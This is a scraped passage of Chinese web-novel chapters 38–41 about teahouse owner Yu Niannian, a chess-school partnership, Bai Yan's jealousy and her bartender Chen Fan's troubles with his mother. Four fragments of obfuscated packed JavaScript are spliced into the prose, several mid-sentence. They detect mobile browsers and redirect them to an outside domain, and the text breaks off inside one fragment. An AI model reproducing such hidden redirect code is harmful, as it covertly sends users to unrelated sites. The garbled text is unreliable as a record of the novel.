只见前一天来过的小男孩大步跨进店里,后面跟了一串小萝卜头,进来后,看到满茶馆的棋盘和墙壁上大大的直播屏幕,嘴里发出阵阵惊叹:“哇!好大的屏幕!”“好新的棋盘!”“这个茶叶罐上还有象棋小人呢!” 瞬间,茶馆大堂里挤得满满当当。 余念念和小优面面相觑。 这时,门又被推开,一个身材高挑、相貌清俊的男人走进来,走到余念念面前,伸出手,微笑道:“您好,我是附近象棋学校的老师,我叫何景明。” 38. 密聊 “您好,我是余念念,这家茶馆的老板。”余念念伸出手,与这个男人握了握,目光看到他手腕上某处,又不动声色道:“我都不知道这附近还有个象棋学校,何先生看着不像个普通的老师。” 何景明眉头上挑,细长形的眼睛在金丝边框眼睛下露出有些意外的目光:“余老板何出此言?” 余念念微微一笑:“气质,觉得您的气质十分出众,就算当老师,也肯定不是默默无闻,而是业界翘楚。” 何景明立刻大笑起来,显然这句话让他十分受用,他指了指昨天来过的小男孩:“我的学生告诉我这家茶馆很好时,我还抱有怀疑,现在看来,他没说错。” 余念念点头接下奉承,等着他下面的话。 “我这次来呢,是受学生和家长委托,来考察一下,顺便看看您的茶馆和我们象棋学校之间,有没有合作的可能。” 合作?余念念对合作向来是十分欢迎的,不管成不成,听听总没错。 “那太好了,您先上二楼坐,我泡壶好茶,马上上来跟您细聊。” 目视着何景明的身影消失在楼梯拐角后,小优凑近,眯着眼:“老板,你对这个男人感兴趣?” 余念念边泡茶,边耸耸肩:“合作么,只要能赚钱,我都是感兴趣的。” “我不是说合作,是说这个男人!虽然他长得不错,但我个人觉得,比小白哥还是差远了!” 余念念眉头一皱:“想什么呢?我怎么会对这个感兴趣!” “那你刚刚一握手就夸他气质好?” “我那是......”余念念将音量降低,“我那是看到他手上戴了个巨贵的手表,跟象棋老师的身份反差挺大的,但后来一想,可能是我个人见识少,就编了个话术圆了过来。” 茶泡好了,余念念冲散落在大堂各处的小孩们扬了扬下巴:“替我照顾好小孩哥小孩姐们,我上楼谈业务了!” —————— 二楼,何景明站在挂满照片的墙面前,正入神地看着什么,听见脚步声,转回身来,不知是不是余念念的错觉,他脸上的笑意里多了一丝殷勤。 “余老板与常主任很熟?” 余念念顺着他的手势看过去,某张照片上,余念念左手挽着常主任,右手挽着村长,笑得见眉不见眼,常主任和村长也笑得开怀——这是跨年活动当天,被老潘抓拍下来的一张照片。 “哦,还算熟吧,在老街上做生意的,总要去居委会走动走动的。不过,我很少去麻烦常主任,他忙着呢。” 余念念不愿凸显自己与常主任的关系,毕竟,常主任德高望重,背后家族实力雄厚,千方百计想与他搭上关系的人不知道有多少。 “何先生,您刚刚说,学生和家长委托您来找我谈合作?”她把茶托放到靠窗的一张桌子上,把话题引回来。 “哦,是。”何景明走到桌边坐下,推了推金丝镜框,“昨天象棋学校临时放假,学生没地方去,在您店里下了一下午棋,回家在家长面前将您的店铺夸上了天,家长就来找我,抱怨象棋学校的氛围太严肃了,不如一家开在老街里的茶馆。” 他手指把弄着茶杯,轻笑道:“我们那几个学生家长,都是有钱人家的太太,平时没什么事,就会动动嘴皮子,但是她们的意见我们也不能不听,所以,还是抱着学习的态度,来您店里取一下经。” 他的话语里对学生家长有着明显的轻视意味,余念念听得眉头微皱,不自觉地语调变硬:“哦,我们茶馆没什么值得学习的,只不过就是给老街上爱下棋的大爷们提供个自娱自乐的场所罢了。” “余老板过谦了,您能得到常主任青睐,肯定是有过人之处的。” 余念念忍住翻白眼的冲动,想了想,回道:“真的没有什么经验,只有一点,‘用心’就好。” 何景明仔细看她的眼睛,像是确认她是不是在开玩笑,片刻后,笑着点点头:“当然!不管在那个年代,真诚是必杀技,余老板一句话点醒梦中人。” 装模作样。 余念念明显感觉到何景明没相信自己的话,但也无所谓,陪着他又胡乱商业胡吹了几句。末了,他从怀中掏出张名片,递了过来:“余老板,小孩子的心愿,我们能支持的,还是尽量支持,要是有好的想法,您随时与我联系。” 这话倒是说得余念念心中一动,她收了名片,道了谢,将人送下了楼。 一楼,小孩们被小优照顾得很好,或一脸好奇地围观大爷们拌嘴,或自己占了张桌子摆开棋谱下棋。 何景明环视一圈,从外套口袋里掏出个带logo的真皮钱包,抽出几张百元大钞,放在茶馆柜台上,微笑道:“孩子们叨扰了。” “哎不用!”余念念在柜台后追出来,见人已经大步出了茶馆大门,悻悻地回身,将那几张钞票收起来。 “老板姐姐。” 一道童声响起,低头看,是昨天的小男孩。 余念念蹲下身,伸出只手:“昨天忘了自我介绍,我叫余念念,你呢?” 小男孩老成地与她握了握手:“我叫唐小包,你也可以叫我的小名,小汤包。” 余念念乐出了声:“小汤包!这么巧,我也有个弟弟,叫小鱼丸!” 小汤包眨巴着眼睛:“你跟老师谈好了么?我们可以在这里下棋么?” 余念念思忖片刻,拉着他到了柜台后:“我还要再找你了解下情况......” 原来,何景明说是象棋学校的老师,实际并不负责教授学生下象棋,因为他擅长与学生家长交际,帮象棋学校招揽了附近不少对象棋感兴趣的学生,因此主要负责象棋学校的外联类工作。 前一天,小汤包去象棋学校走了空,他妈妈又约了人在外面赶不回来,才有了他趴在落地窗看大爷下棋的那一幕。晚上回家后,小汤包不知道怎么跟她妈妈夸张宣传的,几个学生家长微信群里便向象棋学校施了压,让他们改善学校机制和氛围,否则,便有学生流失的风险。 “小汤包,你真的喜欢我的茶馆么?” “喜欢。” “也喜欢下棋的大爷们?” “喜欢。” 余念念思考着,摸了摸小汤包的脑袋:“好,那姐姐想想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323885|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法!” —————— 晚上,茶馆天台上,一部老电影刚刚播放完毕,片尾曲的韵律中,几个年轻人恋恋不舍地走下楼梯。 余念念就着音乐慢悠悠收拾着,嘴里时不时跟着哼唱几句。 “心情很好?” 一个声音在身后响起,吓了余念念一跳,转身,白砚站在几米之外,脸色隐晦不明。 “这么晚你怎么来了?” 白砚走近:“我来要我的‘今日份’。” 余念念脸上一热,低头道:“今日份什么......” 下一秒,手中的扫帚被抽走,身体被圈进一个怀抱里,低沉的声音在头顶响起:“余念念,你少装蒜。” 清冷的香皂味钻进余念念鼻子里,她舒服地深呼吸一口,双手圈到腰上,闭眼道:“我本来想收拾完去找你的。” 身上的力道陡然一紧,白砚的呼吸在耳边急促了几分:“真的?可我听说,你的茶馆今天来了个好看的男人,你和他单独在二楼密聊了很久......” 余念念赶紧撑着白砚胳膊,看着他的眼睛问:“谁传出去的?” 白砚眼光一暗:“这么说,是真的?” 余念念猛摇头:“不不,什么‘密聊’,那是谈业务!” 白砚大为不满:“这么说,‘好看’是真的喽?” “嘶——”余念念倒抽一口气,“谁允许你这么断章取义的!是小优传出去的吧?明天我就扣她工资!” “整条老街都知道了,今天一天,有至少五个人来颜喜书画斋告诉我和爷爷这件事。”白砚淡淡道。 余念念愣住,一时间不知道该生气还是该认怂,挣扎片刻,还是决定先澄清:“那个男人,他真的很没品!他不尊重女性,而且,想要通过我接近常主任,我是谁啊,我怎么可能看上他!我三观正眼光高,我又不是没见过好的——” 她突然顿住,小心翼翼抬眼去看白砚,见他嘴角微微上扬,触到她的眼神,扬了扬眉:“说下去呀,好的是谁?” 余念念忿忿将头一偏:“告诉我,那五个人是谁,我明天一个个找他们算账!” 白砚低低笑了一声,将她重新抱住。 低低浅浅的音乐声在天台飘荡着,灯光昏暗,一时间,整个世界仿佛只有他们两个人。 良久,余念念极小声地说了句什么。 几秒后—— “你说什么?!” 余念念赶紧捂住白砚的嘴——认识以来,她还从没听见白砚的音量如此之大:“你小点声!” “你还要跟他单独吃饭?!” “......都说了,是谈业务!” 白砚深呼吸几次,终于保持住了克制,淡淡道:“很好,我也去。” 余念念:“嗯?你去干嘛!” “我作为茶馆老板的房东,有义务去旁听茶馆业务,以便监督茶馆经营。” 余念念:“......” 哪条规章制度规定了商铺的租户和房东之间有这重监督关系?余念念心里犟嘴,但不敢出声。 39. 吃饭 餐馆门口,余念念冲远远走过来的一个身影用力挥了挥手。 何景明一身笔挺的黑色大衣,敞开的衣领下露出里面考究的格子西装,看到余念念的同时脸上露出标准的微笑,走近了,余光瞥到她身后餐馆玻璃窗里一口口冒着热气的大铁锅和一个个满面红光的食客,笑容裂开了一条缝。 天鹅饭店—— 他抬头看了看招牌,余念念发给他吃饭的地点时,没告诉他这是一家铁锅炖。感情这“鹅”,是铁锅炖大鹅的鹅。 “何先生,这家铁锅炖特别好吃,相信我,你会爱上的!”余念念的眼神极为真诚。 何景明干笑了两声,跟在她身后进了饭店。 余念念领着他往饭店深处走,一张桌子前,一道清俊的身影缓缓站起来。 白砚穿着一件黑色半高领毛衣,眼神追随着走近的余念念,又轻轻扫向何景明,冲他微微地点了点头。 “这是——?” “我介绍一下,这是我店铺房东,白砚白先生。这是象棋学校的何景明何先生。” “二位是——?”何景明拖着迟疑的语调,两只手分别指向余念念和白砚,又缓缓凑向一起。 余念念赶紧摆摆手:“我们是十分纯洁的房东和租客的关系。” “哦——”何景明一脸理解了又似乎没理解的表情,脱下大衣外套,抻了抻里面的西装,坐在白砚和余念念对面,笑道:“像二位关系这么紧密的房东和租客,真是不多见呐......” 这时,服务员走过来,余念念从他手中接过菜单,递给何景明:“我已经点过他们家最经典的铁锅炖大鹅了,何先生看还需要加点什么。” 何景明接了过来,随手看了两眼,递还给服务员:“我爱吃虾,就加个虾好了。” “虾?”余念念想都没想,脱口而出:“虾可能不太行!” 接着,她用手掌隔开自己的脸和服务员,放低音量:“他们家虾不新鲜,何先生换一个吧!” 年轻的服务员小弟嘴角抽搐了下,弱弱道:“姐姐,你之前不是老来吃么,我们家的虾都是新鲜现到的......” 余念念尴尬地扭过头,冲他露出一个饱含歉意的微笑。 一旁,白砚憋不住笑意的眼神从余念念脸上收回来,看向对面的何景明:“没关系,何先生爱吃虾,当然要为他加上,我可以吃别的。” 何景明哦了一声,了然道:“原来白先生不吃虾,那不点虾了,余老板点什么我吃什么就好。” “好......我一个人点,你们俩别掺合了......” 饭还没吃,余念念汗流浃背。 —————— 十几分钟后,大铁锅上桌,热气蒸腾起来,冲散了之前略带尴尬的气氛。 “何先生,上次见面后,我做了一些调研,觉得我们两方之间,还是有一些合作空间的。象棋学校的师生氛围过于严肃认真,我的茶馆老少皆宜正好可以让孩子们打成一片。当然,学生家长肯定还是信任您的,要不然也不会委托您出面和我沟通,我也完全乐于接受您这样一个专业人士的指导来为孩子们提供更好的服务。” 余念念委婉地绕了一大圈,潜台词:孩子们中意茶馆,家长信任你,我们两方谁也绕不开谁,那就坐下来聊聊吧。 “孩子们想来茶馆,多半是冲着一楼下棋的大爷们来的,来之前我问过,大爷们也很欢迎孩子们,答应有事没事陪孩子们练练手。我的茶馆二楼日常大多空着,可以免费开放给象棋学校的师生作为校外课堂使用,只收取最基础的伙食费。我只有一个条件。” 何景明微微眯起眼睛:“余老板请讲。” “聘请几位感兴趣的大爷作为象棋学校的荣誉教师,可以不要工资,只需定期合作交流——这是我调研了几个大爷后收集到的诉求。” 何景明有些不理解:“余老板,这些大爷只是您茶馆的客户,你情我愿的消费而已,凭什么对您的合作提诉求?” 余念念耐着性子给他解释:“下棋的大爷是茶馆的根基所在,没有他们,就没有我余念念的今天,更没有能吸引孩子们进来的这个老街茶馆。所以,他们的诉求我是一定要听的。” 这话听得何景明一知半解——他虽然自称是象棋老师,但从外表到内心都是个精致的利己主义者,对余念念提出的这种对自己没有半点好处的诉求理解起来着实困难。 他看向白砚,试图得到来自店铺房东的某种解释,但白砚只是温和地看着余念念,似乎对她的话无条件接受。 “余老板,恕我直言,我的象棋学校为您的茶馆带来了额外客户,又为您的茶馆大爷们提供了荣誉教师的名头,但我们自己好像并没有得到实质的好处......” 余念念沉默下来,她不能直接说出“你不接受就等着学生流失”这种话来,这不是她的风格。 一旁,白砚慢条斯理道:“合作期间,我可以为你的象棋学校提供摄影支持,不收取费用。” 余念念忙开口制止:“白砚,这没必要!” 何景明疑惑:“你的摄影支持——?” 潜台词:很值钱么? 白砚:“我的摄影支持,还挺值钱的,在官方披露的宣传物料上,我叫‘白塔’。” 何景明眼睛唰地亮了:“‘白塔’?!是那个经常出现在崇安新闻官方频道和各大摄影展上的‘白塔’?” 白砚点点头。 何景明忙起身,隔着桌面抓住白砚的手,用力握了握:“原来您是大名鼎鼎的‘白塔’!那这次合作我没有任何意见,‘白塔’摄影作品的含金量我是有数的,今后,就有劳白先生多多支持了!” “服务员,来三瓶啤酒!我们今天必须要干一杯!”何景明大喊。 余念念心里叹了口气,面无表情接过一杯酒,接受自己聊了半天的合作方案抵不过白砚一句自报家门来得奏效这件事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335943|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以及就算是天仙也有男人无法克服的莫名其妙的胜负欲这件事。 一杯下肚后,她手伸向酒瓶,被白砚中途截住:“不准喝了,这酒不好喝。” 一旁站着的服务员小弟脸上笑意再一次挂不住,颤抖着嘴唇,冲着余念念:“姐姐......我们家的酒......” 余念念赶紧安慰:“你们家的酒没问题!是我,是我个人的问题!” “是啊,喝醉了发酒疯没什么,发完酒疯什么都不记得就有问题了。”白砚以耳语般的音量说道。 余念念:“......” —————— 晚上,余念念在茶馆宣布了与象棋学校的合作,瞬间,一楼的大堂里炸开了锅。 刘大爷兴奋地站起身:“谁能想到,我这个年纪了,还能混到个荣誉教师的称号呢!” 余念念在柜台后回道:“刘大爷,人家说了,这称号也不是谁要都给的,得先通过他们基本的测评!您有信心么?” 刘大爷沉默了几秒,坐下,冲魏大爷喊话:“老魏,到时候你帮我突击训练一下!” 魏大爷笑起来:“我说老刘,你要那玩意儿干嘛!虚荣!” “要是我能拿到你‘棋王’的飘带,我就不稀罕那玩意儿!你这是站着说话不腰疼!” 王大爷笑道:“老刘,以后啊,你不仅要吃我们的败仗,还要吃一堆小萝卜头的败仗喽!到时候可不能挂脸!” 刘大爷像是才想到这一层,愣住,余念念赶紧安抚他:“不会的刘大爷,小汤包他们在二楼,不参与咱们老街棋王争霸赛,只是偶尔需要你们上楼指导交流一下,您放心吧!” 刘大爷这才缓过来,冲余念念竖大拇指:“还是小余考虑得周全!老家伙的脸面,还是要保护一下的!” 柜台内,小优撑着脑袋问余念念:“老板,咱们茶馆三层现在都各有用处了,能忙得过来么?” 余念念想了想:“你提醒得好,确实要考虑起来。之前二楼空着,我们轮流照应三楼,晚上有陈帆来兼职,勉强够用。现在二楼要来客人了,那三楼估计得专门招一个人了。” 她在计算器上一通按:“还好,茶馆最近生意不错,再招人也打得住。” 正说着,她余光瞥到茶馆大门外,一个身影走过来走过去,几个来回,又在玻璃窗外往里张望了好几次,就是没有走进来。 “那是谁?”余念念问小优,小优也摇头不知。 于是她起身推门走出去,看到一个约莫五六十岁的瘦小女人站在外面,见她开门出来,有些瑟缩地退了两步。 “阿姨,您有什么事么?进来说吧。” 那女人摆摆手:“不用了,我就不进去了。” 余念念觉得她略显怯懦的表情有点眼熟,迟疑着问:“阿姨,您是不是找人?” 女人低头沉吟了一会儿,点点头,问:“陈帆是不是晚上在这里上班?可以把他叫下来么?” 40. 倾听 “余老板,你知不知道拥有一个憋屈了快三十年的人生,是什么样的感受?” 深夜的三楼天台,客人已经走光,灯光昏暗,四下安静。陈帆低头调着杯酒,突然说了这么一句。 余念念倚在餐车旁,接过那杯酒,没有马上回答,她知道陈帆一定有很多话要说,她向来很擅长倾听。 一个小时前,她把陈帆喊下楼,等在茶馆门口的瘦小女人和她的儿子爆发了激烈的争吵。透过窗户,两人不断挥舞的手势和情绪激动的表情看得一清二楚。离开的时候,女人抹着眼泪,陈帆一言不发回到三楼,继续调着他的酒。 不待余念念回答,陈帆发出声自嘲的轻笑:“你肯定不知道。你来居委会和孙副主任争论的那天,那么自信张扬,像个女战士,你这样的人,不会让自己憋屈超过三天。” 余念念抿了口酒,继续听着。 “从小到大,我和我妈两个人生活在这条老街,一个老实的女人,带着一个老实的小孩儿,过着普通、乏味,甚至有点卑微的生活。周围的人同情我没有爸爸,总是随手丢给我一些什么,三两个水果、几把蔬菜,又随口说出点什么,一个人带孩子不容易、没爹的孩子懂事早,我妈和我,只能点头带笑,感激不尽,时间久了,那些拘谨的动作表情,就像刻进了骨子里,成了我脸上摘不下来的面具。” “我妈老说,她唯一的心愿,就是能让我平安长大,成为一个普普通通的人,就很好,我这样的人家,不图什么大富大贵,不需要什么远大理想。我也真的做到了,从小到大,普通得像一粒灰尘,不管在哪里,多我一个不多,少我一个不少。” “有时候,我很恨我妈。她把我拴在身边,把我塑造得平凡而沉闷,像个只会说‘好’的机器,拴了我二十年还不够,还要点头哈腰求来一个别人不要的居委会的工作,再继续栓我几十年。” “但更多时候,我很爱她。她把最好的都给我了,她的人生不能更苦了,我是她的唯一。居委会的工作是她能想象到的最好的工作了,离家近,清闲,没有危险,除了永远不可能靠工作挣钱买房娶媳妇,其他的都很好,还是那句话,我这样的人家,还图什么别的呢。” 陈帆顿住,抬手从脸上抹去什么:“一下子说得太多了,收不住了,你别嫌我啰嗦。” 余念念温和道:“不啰嗦,你愿意说我就愿意听。” 陈帆笑起来:“余老板,我真的很爱茶馆的天台,在这里,我能感觉到自由,还有一点微不足道的掌控感——在我调酒的时候。我大学唯一一次去酒吧,别人都去跳舞,我一个人坐在吧台,那个酒保人很好,见我一个人拘谨,找我搭话,教我调了一次酒,我就爱上那种感觉了,就好像,我在喧嚣的人群里有了一块自由的空间,我把酒调好,递出去,就完成了一次人与人之间的交互,不多不少,刚刚好。我可以旁观,可以倾听,也可以默默调我的酒......我真的觉得很幸福。” 余念念静静看着他脸上的笑意,跟他一起笑起来:“你能在我的茶馆感到幸福,这件事情也会让我感到幸福。” 她想到什么,迟疑着开口:“那刚刚......阿姨来找你是?” 陈帆脸上笑意消退大半:“她不知道听到什么闲话,觉得我在茶馆调酒会影响居委会的工作。不过你放心!我会平衡好的!你不会......不让我来吧?” 余念念立刻摇头:“当然不会,你晚上就放心来,不过......最好跟阿姨把事情解释清楚,我的亲身经验,千万别拖,拖久了,小事也会成心结。” —————— 第二天,半上午。 余念念正一如既往地在柜台后面戳计算器,茶馆大门被推开,一阵香气伴着高跟鞋敲击地板的声音一起飘进来。 抬头看去,一头大波浪下,一个披着一身华丽皮草的女人正摘下墨镜,打量着茶馆内部,看到柜台后站起身的余念念,扬了扬眉稍,露出个似笑非笑的表情。 别说——余念念内心道——这无意间流露出来的高冷的微表情,还真跟天仙有几分相似,不愧是母子。 该来的总会来的,她迅速挂上笑脸,从柜台后走出来,迎向女人:“翁阿姨,您找我?” 翁女士眼里流露出意外:“你知道我会来?” 余念念耸耸肩:“您连我老家的地址都查到了,找到我的茶馆不是动动指头的事么。” 翁女士像是被她的坦诚梗到了,半天没说话。余念念指了指头顶:“阿姨想必有话对我说,二楼请,我马上就来。” 女人挟着香风上了楼,小优凑过来,皱着眉头疑惑道:“这人好眼熟,像一个人,但我一时想不起来像谁。” 余念念边泡茶,边回道:“她是白砚的妈妈。” “啊!”小优恍然大悟,旋即一脸震惊,“这么年轻?!” 端着茶上了楼,余念念在翁女士对面落座,给她倒了一杯,热气氤氲着,女人淡漠的脸色像是被暖化,笑了起来:“小余,你的茶馆经营得挺好。” 余念念微微一笑:“阿姨过奖了,小本生意,全靠一口气撑着。” 女人眉毛一挑,像是抓住了什么:“哦?我可以给你的茶馆投资入股呀,只要你帮肯帮我修复和白砚的关系。” 这女人,倒是直接,余念念心道,等着她说下去。 “白砚从过年那晚离开后,就再也不回我的消息了,我找到颜喜书画斋,又在他爷爷那里碰了一鼻子灰,我做了什么孽?我只是一个想要找回儿子的可怜女人......” “阿姨,白爷爷有没有告诉您,白砚那晚吃了您剥的虾,出门就上了120,胃疼了好几天才缓过来。”余念念看着对面女人的眼睛问道。 翁女士愣住,半晌,才支吾道:“哎呀......我怎么把这个给忘了......我这脑子,太不记事了......” “所以阿姨,您不需要从我这里花钱买办法,只需要先把对白砚来说重要的事情记住,慢慢修复关系,会好的。” 这话说得直白,翁女士脸上青一阵白一阵,最终还是气不过,嗤笑一声:“说什么不需要我花钱,你和白砚走得这么近,会不知道他爸爸和我都有钱?” 这话说得,就很没有新意了,余念念靠向椅背,淡淡道:“都有钱怎么了?还不是爹不疼娘不爱,还不是过年要跟我回老家体验普通人的家庭温暖。” “你!”翁女士脸色气得涨红,“小丫头片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345706|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子牙尖嘴利,白砚到底看上你哪一点!” 余念念叹了口气:“阿姨,我没想顶撞您,您要是想经常来老街看看白砚,我的茶馆欢迎您,但如果是希望花钱从我这儿走什么捷径,那只能让您失望了。” 女人站了起来,身上什么撞在桌子上,发出阵丁零当啷的声响,扬着发丝精致的脑袋低喝:“我不需要你一个小辈来教我做事!” 说着,朝楼梯口走去。 余念念心里也带着气,这口气可能从过年那天就憋着了,冷冷道:“那阿姨,我就不送了。” 一阵叽叽喳喳声从楼梯传来,接着,女人下楼的高跟鞋声音一顿,“哎哟——”一声叫唤。 “小心!”何景明的声音响起来。 余念念凑到楼梯口往下看,一身西装的何景明从楼梯下方伸出手,撑住了翁女士的手腕,将她扭了一下的身体扶正,十分绅士地问:“您的脚没事吧?” 翁女士语调一改之前与余念念聊天时的冷硬,变得格外柔和:“没事,多谢。” 接着,缓缓抽回手,避开跟着何景明的一群小孩,踢踏着高跟鞋走了下去。 何景明保持撑扶的姿势,一直回头目视着她的身影,被余念念一声叫唤打断:“何先生!快上来吧。” “哦!来了!”他几个踏步上了楼,见了余念念,脸上还有着没有收起的兴奋之意,探询地问:“刚刚下楼的那位女士是?” 余念念警觉起来:“问这个干嘛?” “哦,没什么,”何景明忙收拾表情,恢复了平淡,“只是觉得她气质很好,要是能认识一下也挺好的。” 余念念含糊着:“就是路过老街顺道进来喝个茶的客人,估计也就来这么一次吧。” —————— 和象棋学校定下了为期一年的合作,余念念心情大好,当晚,边哼着小调边坐在柜台后面算账。 “老板,二楼不是免费提供给象棋学校么,伙食费才收那么点,这笔生意划算么?”小优撑着鸡毛掸子问。 “嗨,这你就不懂了,小孩儿在,就有商机在,我们可以在桌上墙上放点儿书帖啊字画啊啥的,给颜喜书画斋倒倒流宣传宣传什么的,总之,肥水不流外人田。” “知道了,原来是这个思路,那确实是不流外人田。” 余念念:“......我解释一下,这个不流外人田的意思,是说,我们和颜喜书画斋是互惠互利的关系,他是房东我是租户,大家好才是真的好。” 小优点头:“我懂我懂,你和小白哥内循环做好了,我们茶馆和颜喜书画斋的大盘子才能和谐。” 余念念:“......” 这时,茶馆电话响起来,余念念接起来,翁女士的声音在电话里显得尖利:“我的手链是不是落在你的店里了?” 几乎在同时,手机上,收到何景明的微信,先是一张照片,接着,是一条消息:【余老板,我白天捡到一条手链,以为是学生的,问了一圈发现不是,想必是上午那位女士的,请给我一下联系方式,我好给人家送过去,多谢。】 嘶——余念念眯起眼睛,看向平静的茶馆大堂——怎么回事,事情好像要变得狗血起来了...... 41. 热血 颜喜出品,必是精品。 白家的爷孙俩对待任何事情都是慢条斯理的匠人态度,哪怕是仅仅在茶馆二楼使用的象棋学校小孩儿们的小名牌。 前一天晚上,余念念捧着一堆空白的名牌卡片去颜喜书画斋,想要蹭个笔墨自己写好孩子们的名字,却被白老把活抢了去,他带上老花镜,花了半个多小时,写了十几个漂亮得可以参加书法比赛的楷体名字。 余念念十分过意不去,正要带回茶馆,又被白砚拦下,说等第二天晾干了他再带过去。 于是就有了今天早上这一幕。 余念念倚在二楼的墙壁上,看着白砚一个一个把小名牌发给小孩们,每发一个,又用黑色水彩笔在名字旁边画上一个卡通小脸蛋,寥寥数笔,特征抓得极为传神,小孩们一看,立马开心得小脸开花。 余念念也看得满脸笑意:“你昨晚不让我带回来,就是为了今早画这个?” 白砚手上动作未停,隔了几秒钟,才回道:“我不主动创造机会的话,只怕余老板一天也不会想起我一次。” 他直起身,清清浅浅扫了她一眼,眼里莫名一丝哀怨:“难道真的只等那一天一次?我是守着丈夫回家的怨女么?” “咳!咳咳咳!!!”余念念猛地咳嗽起来,咳嗽声掩饰住她的尴尬。 这几天来,她不管多晚,都记得履行诺言,在忙完茶馆当天的事务后,去找白砚给他一个拥抱,颜喜斋门口,李婶家楼下,茶馆天台......像是在老街各处打卡,只是,时间越来越晚,持续时间越来越短。 就像前一天晚上,白砚把她送回李婶家楼下,两人在楼梯里拥抱,白砚正将脑袋埋在她肩膀里,院子里突然传来脚步声和李婶说话的声音,吓得余念念一下子将白砚推开,并对他疯狂使眼色外加摆手劝离。 好好一个天仙,被逼得像做贼。 余念念满含歉意地说道:“前阵子太忙了,一楼二楼三楼都满了,我恨不得一个人掰成三瓣儿用,等过阵子,我一定补偿你!” 话一出口,突然顿住,老脸一红——这话听着,更像是出门在外忘了家里媳妇的负心汉。 白砚嘴角忍不住扬起来,边给小汤包画脸蛋,边说道:“好,我等你补偿我。” 这时,小汤包抬起一张小汤包似的小肉脸,问:“你们是在打情骂俏么?” 余念念赶紧摆手:“小孩子别乱说话!” 白砚拍拍他的脑袋:“成语学得不错。” 小汤包又脆声道:“我觉得,你们两个很般配。” 白砚眉头轻扬:“哦?怎么看出来的?” 小汤包点评:“说话腻歪。我妈说,当两个人没事凑在一起说腻歪的废话,互相又不嫌弃对方腻歪的时候,他们就很般配了。” 白砚低头,发出阵克制的轻笑声,接着,给名牌上小汤包的小脸蛋旁又加了一只正宗冒着热气的崇安小汤包。 余念念深呼吸一口,拿出茶馆女老板外加从小在家教育余玩的气势:“包小唐,你到底是来下象棋的还是来当恋爱观察员的?!” —————— 余念念没有夸张卖惨。 自从休了短暂的三天假期回来后,她就没闲下来过。除了茶馆三层各有事情要忙之外,老街上的很多街坊住户家里有事也渐渐习惯来喊她一起参加,儿子娶媳妇,孙子办周岁,房子新装修,等等之类,只要来喊,她都尽量去,毕竟,人家看重才邀请嘛,否则,谁会邀请一个随时可能跑路的租户。 所以,当小优连续第三天告诉她,陈帆的母亲又来茶馆找陈帆时,她才意识到有些不对。 “我上次让陈帆跟他妈妈说清楚,他肯定是拖着没说,”余念念停下按计算器的手说道,紧接着又问:“阿姨来的时候,脸色怎么样?” “很差,”小优皱着眉说道,“一次比一次差,两个人在外面吵的时间越来越长。” 余念念把计算器一扔,站起身:“我去居委会找他聊聊!” 正要出去,外面有人将门推开,一道清瘦的身影迈了进来。 “常主任?”余念念意外地将人迎进来,“您怎么来了?” 常主任一脸喜气,怀里揣了个红色信封,见到余念念,笑意更盛,在笑意之外,还夹了几分父亲似的宠溺:“小余,这是要去哪儿呢?” 余念念没打算将陈帆的家务事捅出来,笑着摇摇头,将他领到一张桌子边坐下:“本想出去走走,常主任来了,我就哪儿也不去啦。您亲自来找我,肯定是有什么指示。小优,泡壶好茶!” 常主任哈哈一笑:“不,不是指示,是有求于余老板呐!” 茶馆原本在下棋的大爷和闲聊的街坊也停下,听着常主任说话。 他将怀里揣着的红色信封举到眼前,晃了晃:“咱们老街引起市里关注喽!” 一句话炸开了锅。 “咱们街道这么多年跟被忘了似的,怎么突然引起市里关注了?” “就是!向来只有那几条核心商业街能得到重视,又是鲜花又是绿植,要什么有什么,装扮得花枝招展的,我们老街一根狗尾巴草都没有!” 一阵赞同外加吐槽声。 “怕不是要竖什么反面宣传案例吧?” 常主任大笑几声,冲众人摆摆手:“别瞎猜了,确实是好事!说起来,余老板是头等功,她办的跨年活动被年轻人在网上自发宣传,传到市领导那里,觉得很好,找到区里,区里压根不知道这次活动,又问到我这里,这才知道是老街自发组织的活动,这下,市里更感兴趣了,还要组织专访呢。” 余念念前半段听得开心,听到最后几个字,又紧张起来:“常主任,您说的有求于我,该不会是专访吧?那我可不行!我这人从小到大不擅长讲官话,您可放我我吧!” 常主任先是沉吟片刻,接着,又笑起来,从信封里抽出张卡片,递给余念念:“那么,专访就由老家伙我来搞定,接下来这个活动,你余老板可一定要顶上!” 余念念接了过来,看见卡片上几个大字: 【崇安市首届优秀街区主题宣传活动邀请函】 下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 